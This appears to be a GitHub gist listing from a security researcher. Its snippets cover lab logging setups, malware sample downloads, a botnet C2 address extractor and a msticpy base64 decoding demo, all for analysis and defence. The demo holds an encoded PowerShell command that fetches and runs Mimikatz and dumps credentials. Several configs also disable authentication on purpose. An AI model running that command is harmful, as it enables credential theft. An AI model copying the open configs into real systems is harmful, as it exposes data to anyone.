Skip to content

Instantly share code, notes, and snippets.

View BoredHackerBlog's full-sized avatar

boredhackerblog BoredHackerBlog

View GitHub Profile
@BoredHackerBlog
BoredHackerBlog / winrar_CVE-2023-38831_extract_cmd.md
Last active August 24, 2023 16:06
Extracting malicious command file from rar file exploiting CVE-2023-38831
@BoredHackerBlog
BoredHackerBlog / docker-compose.yml
Created August 21, 2023 02:05
splunk free json ingest w/ persistence
version: "3.6"
services:
so1:
image: splunk/splunk:latest
container_name: so1
environment:
- SPLUNK_START_ARGS=--accept-license
- SPLUNK_PASSWORD=password
- SPLUNK_LICENSE_URI=Free
@BoredHackerBlog
BoredHackerBlog / guac_token.py
Created August 15, 2023 14:20
This code gets auth token to access guac account and also lets you expire the token instantly logging out the user. this may be useful if you'd like someone to temporarily access guac without giving them username and password
import requests
GUAC_URL="http://10.0.0.1:8080/guacamole"
GUAC_USERNAME="user"
GUAC_PASSWORD="password"
def get_token():
url = f"{GUAC_URL}/api/tokens"
payload = f"username={GUAC_USERNAME}&password={GUAC_PASSWORD}"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
@BoredHackerBlog
BoredHackerBlog / docker-compose.yml
Created July 12, 2023 02:52
elasticsearch grafana with anonymous explore view
version: '3'
services:
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:8.8.0
container_name: elasticsearch
environment:
- xpack.security.enabled=false #there is no password to access ES!!
- xpack.security.enrollment.enabled=false
- discovery.type=single-node
ulimits:
@BoredHackerBlog
BoredHackerBlog / Caddyfile
Created July 9, 2023 16:32
Graylog with Caddy reverse proxy and anonymous login
:80 {
reverse_proxy :9000 {
header_up +Remote-User "anonymous"
}
}
@BoredHackerBlog
BoredHackerBlog / docker-compose.yml
Created May 8, 2023 00:17
research webtop w/ vpn
version: "3.9"
services:
cloudflared:
image: cloudflare/cloudflared:latest
network_mode: "service:gluetun"
command: tunnel --no-autoupdate --url http://localhost:3000
#webtop
webtop:
@BoredHackerBlog
BoredHackerBlog / ha_ingest.py
Last active April 9, 2023 17:29
procsearch
# ingest data from hybrid analysis
import requests
import psycopg2
HA_API = ""
ha_header = {'api-key':HA_API, 'user-agent': 'Falcon Sandbox', 'accept': 'application/json'}
POSTGRES_HOST = "localhost"
POSTGRES_DB = "procsearch"
POSTGRES_SEARCH_USER = "postgres"
@BoredHackerBlog
BoredHackerBlog / abusech_malware_bazaar_hourly.sh
Created August 10, 2022 23:24
download and analyze abuse.ch malware bazaar hourly files
#!/bin/bash
# prolly use cron w/ '10 * * * *' so it runs every hour, at hour:10mins
hourlyfile=$(date -u --date="1 hour ago" +%Y-%m-%d-%H).zip
wget https://datalake.abuse.ch/malware-bazaar/hourly/$hourlyfile -O /tmp/hourly.zip
unzip -P infected -o /tmp/hourly.zip -d /tmp/hourly_files
# do stuff with the files
file /tmp/hourly_files/* >> /tmp/file_out.txt
# do stuff with the files
rm -rf /tmp/hourly_files /tmp/hourly.zip
@BoredHackerBlog
BoredHackerBlog / extractor.py
Created July 23, 2022 23:22
Gafgyt/qbot c2 extractor
#Gafgyt/qbot C2 extractor
#https://bazaar.abuse.ch/browse/signature/Gafgyt/
#The file needs to be unpacked (usually packed with upx)
import re
import sys
# regex from https://www.oreilly.com/library/view/regular-expressions-cookbook/9780596802837/ch07s16.html
ipv4_zero = b"\x00(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?):(\d{0,5})\x00"
ipv4_e9 = b"\xe9(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?):(\d{0,5})\x00"
@BoredHackerBlog
BoredHackerBlog / msticpy_b64_unpack.py
Last active May 17, 2022 01:46
base64 command line arg decoding with msticpy
from msticpy.nbtools import *
from msticpy.sectools import *
command = "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGUAbQBwAGkAcgBlAC8AcwBlAHIAdgBlAHIALwBkAGEAdABhAC8AbQBvAGQAdQBsAGUAXwBzAG8AdQByAGMAZQAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0AQwBvAG0AbQBhAG4AZAAgAHAAcgBpAHYAaQBsAGUAZwBlADoAOgBkAGUAYgB1AGcAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBEAHUAbQBwAEMAcgBlAGQAcwA7AA=="
out = base64.unpack(command)
print(out[1]['decoded_string'][0])
# it should print